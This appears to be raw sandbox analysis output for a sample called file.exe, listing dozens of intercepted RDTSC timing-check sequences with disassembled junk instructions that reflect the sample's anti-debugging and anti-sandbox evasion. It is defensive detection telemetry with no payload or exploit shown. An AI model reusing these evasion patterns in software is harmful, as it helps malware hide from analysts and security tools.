Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FA2C03 second address: FA2C32 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jbe 00007F6BBC80E222h 0x0000000b jg 00007F6BBC80E216h 0x00000011 jg 00007F6BBC80E216h 0x00000017 pop edx 0x00000018 pop eax 0x00000019 pushad 0x0000001a push eax 0x0000001b push edx 0x0000001c jmp 00007F6BBC80E223h 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FA2C32 second address: FA2C38 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FA2C38 second address: FA2C41 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FA2C41 second address: FA2C56 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F6BBC84054Ch 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FA2C56 second address: FA2C5A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FA31E9 second address: FA31F3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007F6BBC840546h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FA31F3 second address: FA31FB instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FA374F second address: FA3753 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FA3A7A second address: FA3A80 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FA3A80 second address: FA3A87 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FA721E second address: FA7224 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FA7224 second address: FA722D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FA722D second address: FA7231 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FA7231 second address: FA72A1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007F6BBC840553h 0x0000000c jmp 00007F6BBC840558h 0x00000011 pushad 0x00000012 jc 00007F6BBC840546h 0x00000018 jmp 00007F6BBC84054Dh 0x0000001d pushad 0x0000001e popad 0x0000001f jmp 00007F6BBC840558h 0x00000024 popad 0x00000025 pushad 0x00000026 jne 00007F6BBC840546h 0x0000002c js 00007F6BBC840546h 0x00000032 push eax 0x00000033 push edx 0x00000034 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FA7529 second address: FA7545 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6BBC80E228h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FA767E second address: FA768E instructions: 0x00000000 rdtsc 0x00000002 js 00007F6BBC840546h 0x00000008 jnc 00007F6BBC840546h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FA781C second address: FA7822 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FA7822 second address: FA7854 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6BBC840556h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F6BBC840556h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FA7854 second address: FA7884 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F6BBC80E216h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d push ebx 0x0000000e jl 00007F6BBC80E216h 0x00000014 pop ebx 0x00000015 pushad 0x00000016 push edx 0x00000017 pop edx 0x00000018 jmp 00007F6BBC80E226h 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FA79DF second address: FA79F2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F6BBC84054Fh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FA79F2 second address: FA7A15 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6BBC80E226h 0x00000007 jnc 00007F6BBC80E216h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push ecx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FA7B73 second address: FA7B79 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FA7B79 second address: FA7B7D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FA7CBE second address: FA7CC8 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F6BBC840552h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FA7CC8 second address: FA7CD5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007F6BBC80E216h 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FB5C11 second address: FB5C2D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jmp 00007F6BBC840553h 0x0000000a popad 0x0000000b push esi 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FB3DDE second address: FB3DE2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FB3DE2 second address: FB3DED instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FB3F77 second address: FB3F7B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FB3F7B second address: FB3F85 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jo 00007F6BBC840546h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FB43CC second address: FB43D9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop edi 0x00000005 jns 00007F6BBC80E216h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FB451F second address: FB4523 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FB4814 second address: FB4828 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F6BBC80E220h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FB4828 second address: FB482C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FB482C second address: FB4836 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push esi 0x00000009 pop esi 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FB4836 second address: FB4846 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F6BBC84054Ah 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FB4846 second address: FB486F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6BBC80E21Bh 0x00000007 jmp 00007F6BBC80E225h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 push ecx 0x00000012 pop ecx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FB486F second address: FB489F instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F6BBC840558h 0x0000000d jmp 00007F6BBC840550h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FB49FB second address: FB4A3B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007F6BBC80E216h 0x0000000a jng 00007F6BBC80E216h 0x00000010 popad 0x00000011 pushad 0x00000012 jng 00007F6BBC80E216h 0x00000018 jmp 00007F6BBC80E223h 0x0000001d popad 0x0000001e pop esi 0x0000001f push ecx 0x00000020 jmp 00007F6BBC80E21Fh 0x00000025 push esi 0x00000026 push eax 0x00000027 push edx 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FB4CBE second address: FB4CC2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FB5A75 second address: FB5A7B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FB5A7B second address: FB5A7F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FB5A7F second address: FB5A9A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007F6BBC80E216h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push ebx 0x0000000d jmp 00007F6BBC80E21Ch 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FB38DE second address: FB3917 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6BBC84054Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push ecx 0x0000000b jmp 00007F6BBC840554h 0x00000010 jne 00007F6BBC840546h 0x00000016 pop ecx 0x00000017 push eax 0x00000018 push edx 0x00000019 jmp 00007F6BBC84054Ah 0x0000001e push ebx 0x0000001f pop ebx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FBC618 second address: FBC640 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jne 00007F6BBC80E216h 0x00000009 push ebx 0x0000000a pop ebx 0x0000000b jmp 00007F6BBC80E222h 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 jnl 00007F6BBC80E216h 0x00000019 pushad 0x0000001a popad 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FBF824 second address: FBF832 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jnl 00007F6BBC840548h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FBF832 second address: FBF837 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FBF692 second address: FBF6B2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F6BBC84054Dh 0x00000009 push esi 0x0000000a pop esi 0x0000000b popad 0x0000000c jbe 00007F6BBC84054Ch 0x00000012 jp 00007F6BBC840546h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FCAF91 second address: FCAF9A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ecx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FCAF9A second address: FCAFD2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pushad 0x00000006 jmp 00007F6BBC840556h 0x0000000b jmp 00007F6BBC840555h 0x00000010 popad 0x00000011 popad 0x00000012 pushad 0x00000013 push eax 0x00000014 push edx 0x00000015 push ebx 0x00000016 pop ebx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FCAFD2 second address: FCAFDC instructions: 0x00000000 rdtsc 0x00000002 jne 00007F6BBC80E216h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FCB14D second address: FCB151 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FDEF7C second address: FDEF88 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 jbe 00007F6BBC80E216h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FDEF88 second address: FDEF8F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE68BC second address: FE68C0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE6B9C second address: FE6BA6 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pushad 0x00000004 popad 0x00000005 pop edi 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE75CF second address: FE75D3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE75D3 second address: FE75DF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 jbe 00007F6BBC840546h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE75DF second address: FE75FD instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 jmp 00007F6BBC80E227h 0x00000008 pop ecx 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FEB4A9 second address: FEB4B3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007F6BBC840546h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FEB4B3 second address: FEB4CC instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F6BBC80E21Fh 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FEB4CC second address: FEB4D0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FEB4D0 second address: FEB4D6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FEB4D6 second address: FEB4DC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FEB4DC second address: FEB4E2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FEB193 second address: FEB19B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FEB19B second address: FEB1B7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6BBC80E228h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FFC4A3 second address: FFC4AB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FFC4AB second address: FFC4BF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 pushad 0x00000008 push eax 0x00000009 jng 00007F6BBC80E216h 0x0000000f pop eax 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FFC4BF second address: FFC4C3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FFC4C3 second address: FFC4CE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ebx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FFDE52 second address: FFDE57 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FFDE57 second address: FFDE76 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 jmp 00007F6BBC80E225h 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FFDE76 second address: FFDE7A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FFDE7A second address: FFDE84 instructions: 0x00000000 rdtsc 0x00000002 je 00007F6BBC80E216h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 100C24B second address: 100C25C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F6BBC84054Bh 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 100BDF3 second address: 100BDF8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 100BDF8 second address: 100BDFF instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push edi 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 100BF32 second address: 100BF3A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 100BF3A second address: 100BF57 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007F6BBC840546h 0x0000000a popad 0x0000000b jng 00007F6BBC84054Eh 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 100BF57 second address: 100BF61 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F6BBC80E216h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1025026 second address: 102502A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 102502A second address: 1025037 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F6BBC80E216h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push esi 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1025037 second address: 102504A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F6BBC84054Ah 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10240C4 second address: 10240C8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10240C8 second address: 10240D2 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F6BBC840546h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10240D2 second address: 10240FD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6BBC80E21Dh 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F6BBC80E224h 0x0000000e jnc 00007F6BBC80E216h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10240FD second address: 1024101 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1024ABA second address: 1024AD4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6BBC80E226h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 102797E second address: 10279A3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F6BBC840552h 0x00000009 popad 0x0000000a pop edi 0x0000000b push eax 0x0000000c pushad 0x0000000d jnc 00007F6BBC840548h 0x00000013 pushad 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1027A55 second address: 1027A59 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 102AC92 second address: 102AC98 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EE049E second address: 4EE04A2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EE04A2 second address: 4EE04A6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EE04A6 second address: 4EE04AC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EE04AC second address: 4EE04F4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F6BBC84054Ch 0x00000009 xor eax, 397808D8h 0x0000000f jmp 00007F6BBC84054Bh 0x00000014 popfd 0x00000015 jmp 00007F6BBC840558h 0x0000001a popad 0x0000001b pop edx 0x0000001c pop eax 0x0000001d mov dword ptr [esp], ebp 0x00000020 push eax 0x00000021 push edx 0x00000022 pushad 0x00000023 mov dl, D1h 0x00000025 push ecx 0x00000026 pop edi 0x00000027 popad 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EE04F4 second address: 4EE051C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6BBC80E21Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F6BBC80E225h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EE051C second address: 4EE0522 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EE0522 second address: 4EE0526 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EE0526 second address: 4EE052A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EE052A second address: 4EE0540 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F6BBC80E21Bh 0x00000010 rdtsc
